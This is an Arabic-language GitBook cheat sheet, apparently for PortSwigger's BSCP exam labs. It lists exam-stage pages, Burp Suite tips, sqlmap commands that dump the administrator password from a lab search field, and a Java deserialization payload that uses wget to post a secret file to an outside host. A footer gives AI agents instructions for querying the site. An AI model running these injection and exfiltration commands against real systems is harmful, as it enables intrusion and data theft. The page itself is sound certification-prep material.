> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/bscp-certification-practical-guide.md). # BSCP وامتحانات التدريب ### شهادة BSCP - ورقة غش {% hint style="danger" %} **BSCP (ممارس معتمد من Burp Suite)** هي **PortSwigger** شهادة تثبت المهارات المتقدمة في **تطبيقات الويب التطفلية**. / وتقيّم القدرة على تحديد واستغلال الثغرات الحقيقية باستخدام **Burp Suite** في بيئة عملية. / وتُعترف بهذه الشهادة في مجال **الأمن السيبراني** كإثبات للخبرة التقنية في الأمن الهجومي. {% endhint %}

	المرحلة 1: الحصول على وصول إلى أي مستخدم	المرحلة 2: تصعيد الصلاحيات	المرحلة 3: هدف الوصول إلى نظام الملفات
/pages/4d5d2173cb620905a50ae8e6f842b00d057cae83	false	true	true
/pages/0f51133d0d592613d253c5eae9be838c88217341	true	true	false
/pages/7ed3fb477c528e846255af6e01d5b2f2cec880ad	true	true	false
/pages/fb2ce9a67c6ca6fb460a4bd23c42b0372de2d9cc	true	true	false
/pages/0e3790ac50c88b09a646753011dd9f0859ff4b78	true	true	false
/pages/692bbb1cdb8dbe8d6d291b408f2e2179a5bb6f6e	true	true	false
/pages/c35a20a77de01f1d9094c72f5cdfcb75597c76a2	false	false	true
/pages/77908b00cc18efb8a4ba0f489a9cbd52a537746a	false	false	true
/pages/bff55ede2e938e772f9431c1de2db42fcdb0f093	true	true	false
/pages/bb27b7bd19f758b7188c2d60e284e21e9cebfd09	false	false	true
/pages/fe07a9377dffa3d84880196985a499ed1df635ee	false	false	true
/pages/3502e0257e3330724aa44d5789e6827d95e527df	false	false	true
/pages/9bfbc93b337e864361586a9066bc7b154c1c5b64	true	true	false
/pages/337f643da1b9893dda04ff3e45622a0bc570be0a	true	true	false
/pages/c8ee9ed118ef82c3ff320ef297a49b3c1a1b9d7a	false	false	false
/pages/aa70485ae6bb2e929004fa554903a1038b678e52	true	true	false
/pages/cb996266598da88ab9fffa72143d967943968e86	false	false	true
/pages/879ea892fccbd40b9027fd761025b0f2f662f4d3	false	false	false
/pages/8ae78ee4a09ce8e5eb9ca835a0e30e87ddcfaa72	false	false	false
/pages/21d520ad7c2ec16d9812f2c9d2ef374f580e3059	true	true	false
/pages/c11665c6a3f8304adb29eaac9cea69ee60f6b541	true	true	false
/pages/a6f15fd54a08ad7e92b385a52b97fc87f6423d50	false	false	true
/pages/56928ef6dad47e260ef71813241e2eb6821817a6	true	true	false
/pages/516e74ac549c6bc6e2a29734b02452b9da3795a5	false	false	false
/pages/a0b0040568b5308d81ea60b4b5a546f9452a23d9	false	false	false
/pages/9f122190f1e70707888d66deb6f786fa83f8c085	false	false	false
/pages/a61ab327a5b843998fb11540e5b266bbd7b53308	false	false	false
/pages/8012130e691dba92968ad7dd35ea8ba7807f25b7	false	false	false
/pages/0fe7d19a0b91052c55798d15c2b707273fafd3af	false	false	false
/pages/f018570913371b82e009d5c6d83fcfd9c93c4047	false	false	false
/pages/3b6557eff6b742e5579a56d67e4d966d829c3e03	false	false	false

#### Burp Suite — الفحص (تذكيرات) * **فحص كامل للنطاق** * تحديد/اختبار **نقاط الحقن** مباشرةً في **Repeater** *** #### SSRF — مرجع سريع * الهدف المحلي: `localhost:6566` #### الموارد / القوائم المفيدة * **أوراق غش XSS** * **بأسماء المستخدمين** * **كلمات المرور** * **قوائم الكلمات** * **الحمولات** * **حقن SQL** * **sqlmap**

فحص الحمولة

sqlmap -u "https://<TARGET_HOST>/filtered_search?find=&organize=5&order=ASC&BlogArtist=" /
  -p order /
  --level=5 /
  --risk=3 /
  --batch /
  --threads=10 /
  --cookie="session=<SESSION_COOKIE_VALUE>; _lab=<LAB_COOKIE_VALUE>"

* -DBMS=db/\_type --force-DBMS

مثال على الفحص

{% code overflow="wrap" %} ```bash sqlmap -u "https://0a1400b40315d2b281a58fd100800004.web-security-academy.net/filtered_search?find=&organize=5&order=ASC&BlogArtist=" / -p order / --level=5 / --risk=3 / --batch / --threads=10 / --sql-query="SELECT password FROM users WHERE username='administrator'" / --dbms=PostgreSQL --force-dbms --cookie="session=wQNQm4WZ02ejWneR9Pk9jLFj0CyhL6ZK; _lab=46%7cMCwCFFlBvtBGUO72q7EOE9BRElfWPqyZAhQU6FcgzznQodiX5Tl8CsBk3Z%2bI9k1Wq1bc8fahR4IhUOCdfA1mZQupxKDL9hIHaaFhDD0pHN7AryzO0yL91mmU7MQwQB36UQhzJXMmld2gz%2byaV%2fPoyNwaSVS5yLQREbtaTXV15Kv05MM%3d" ``` {% endcode %} /--columns -T users -D public /--dump -T users -C username,password

* **المنهجية** * \*\*إلغاء تسلسل Java (Java 8) \*\* ```bash CommonsCollections6 '/usr/bin/wget --post-file /home/carlos/secret https://...' ``` #### افتراضات سلوكية (المختبرات) * يحتوي كل تطبيق على \*\*حد أقصى لمستخدم نشط واحد\*\*، متصل إما عبر **المستخدم** أو عبر **admin**. * هذا المستخدم \*\* يعود إلى الصفحة الرئيسية كل 15 ثانية\*\*. * إنه **ينقر على جميع الروابط** الموجودة في رسائل البريد الإلكتروني المرسلة بواسطة التطبيق. * الخادم التشغيلي ووظيفته \*\*

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/web/bscp-certification-practical-guide.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.